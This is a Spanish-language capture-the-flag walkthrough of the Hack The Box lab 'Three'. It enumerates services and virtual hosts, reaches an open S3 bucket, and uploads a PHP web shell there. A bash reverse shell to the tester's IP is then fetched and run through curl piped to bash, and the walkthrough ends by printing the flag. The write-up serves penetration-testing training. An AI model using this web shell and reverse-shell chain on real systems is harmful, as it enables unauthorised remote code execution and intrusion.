Three
Dificultad: Very Easy - OS: Unix
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV -p- --open -T4 -v -n 10.129.239.89
Resultados:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Inspección de la página web
Encontramos un dominio en el correo mail@thetoppers.htb, pero por problemas de virtual host no podemos verlo en el navegador, asà que primero hay que guardar este host en el archivo local /etc/hosts
echo "10.129.239.89 thetoppers.htb" >> /etc/hosts
Subdirectory Fuzzing
Ahora podemos hacer una búsqueda de subdirectorios con gobuster
gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1mi
┌──(root㉿kali)-[/home/kali]
└─# gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://thetoppers.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb Status: 404 [Size: 21]
Found: gc._msdcs.thetoppers.htb Status: 400 [Size: 306]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
El subdominio que nos interesa para este caso es: s3.thetoppers.htb Ahora lo mapeamos con la IP en el archivo /etc/hosts para que el navegador lo resuelva automáticamente
echo "10.129.239.89 s3.thetoppers.htb" >> /etc/hosts
¿Que es el subdominio s3?
El subdominio s3
generalmente hace referencia a Amazon Simple Storage Service (Amazon S3), que es un servicio de almacenamiento en la nube proporcionado por AWS.
Un subdominio
s3
comos3.tudominio.com
suele indicar que el sitio está usando un bucket de S3 para alojar archivos estáticos, como imágenes, videos, documentos o incluso sitios web completos.En muchos casos, este subdominio apunta directamente a un bucket público o privado de Amazon S3.
Para continuar con la intrusión a los recursos del bucket s3 primero vamos a necesitar instalar y configurar el awscli. Pasos:
┌──(root㉿kali)-[/home/kali]
└─# apt install awscli
┌──(root㉿kali)-[/home/kali]
└─# aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
┌──(root㉿kali)-[/home/kali]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2025-03-29 00:04:02 0 .htaccess
2025-03-29 00:04:02 11952 index.php
Nota: para configurar las credenciales de aws ver el siguiente link:
Conexiones a Bucket s3Otra opción para conectarnos al recurso sin configurar el awscli es:
┌──(root㉿kali)-[/home/kali]
└─# AWS_ACCESS_KEY_ID=none AWS_SECRET_ACCESS_KEY=none aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2025-03-29 00:04:02 0 .htaccess
2025-03-29 00:04:02 11952 index.php
Web Shell Upload via Insecure S3 Bucket
Ahora que ya comprobamos el acceso a los recursos del bucket s3, lo que podemos hacer es subir una web shell al bucket s3 de la siguiente manera
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# echo '<?php system($_GET["cmd"]); ?>' > shell.php
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
upload: ./shell.php to s3://thetoppers.htb/shell.php
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2025-03-29 00:04:02 0 .htaccess
2025-03-29 00:04:02 11952 index.php
2025-03-29 01:18:19 31 shell.php
Esta web shell nos permitira inyectar comandos (RCE) al equipo objetivo utilizando el parametro cmd en la URL
$_GET["cmd"]
obtiene el valor del parámetrocmd
enviado en la URL.system()
ejecuta ese valor como un comando en el sistema operativo y muestra la salida.
El segundo paso es generar un payload de reverse shell en Bash. Con esto podremos establecer una conexión desde la máquina vÃctima hacia nuestro equipo.
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# echo "bash -i >& /dev/tcp/10.10.14.72/1337 0>&1" > shell.sh
bash -i
→ Inicia un shell interactivo de Bash.>& /dev/tcp/10.10.14.72/1337
→ Redirige la entrada y salida del shell hacia la IP 10.10.14.72, en el puerto 1337, utilizando la interfaz de dispositivos/dev/tcp/
.0>&1
→ Redirige el descriptor de archivo estándar de entrada (0) al descriptor de salida estándar (1), asegurando que la interacción funcione correctamente.
Con la web shell.php vamos a descargar el payload shell.sh y ejecutarlo en el equipo objetivo para que se conecte al netcat de nuestro equipo. Siguientes pasos: levantar el servidor con python3 para compartir el shell.sh y ponernos en escucha con netcat
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# nc -nvlp 1337
listening on [any] 1337 ...
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Ahora vamos a la página web y, usando el shell.php que subimos anteriormente al bucket, le vamos a indicar que se conecte a nuestro servidor atacante y descarge el recurso compartido: shell.sh y lo ejecute automaticamente con bash
http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.72:8000/shell.sh|bash
Descargamos el recurso compartido local: shell.sh del server que levantamos con python3:
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.236.139 - - [29/Mar/2025 01:46:32] "GET /shell.sh HTTP/1.1" 200 -
Remote Code Execution
Recibiendo la conexión reversa en nc:
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.72] from (UNKNOWN) [10.129.236.139] 59468
bash: cannot set terminal process group (1654): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ ls
ls
images
index.php
shell.php
www-data@three:/var/www/html$ cd ..
cd ..
www-data@three:/var/www$ ls
ls
flag.txt
html
www-data@three:/var/www$ cat flag.txt
cat flag.txt
a980d99281a28d638ac68b9bf9453c2b
Last updated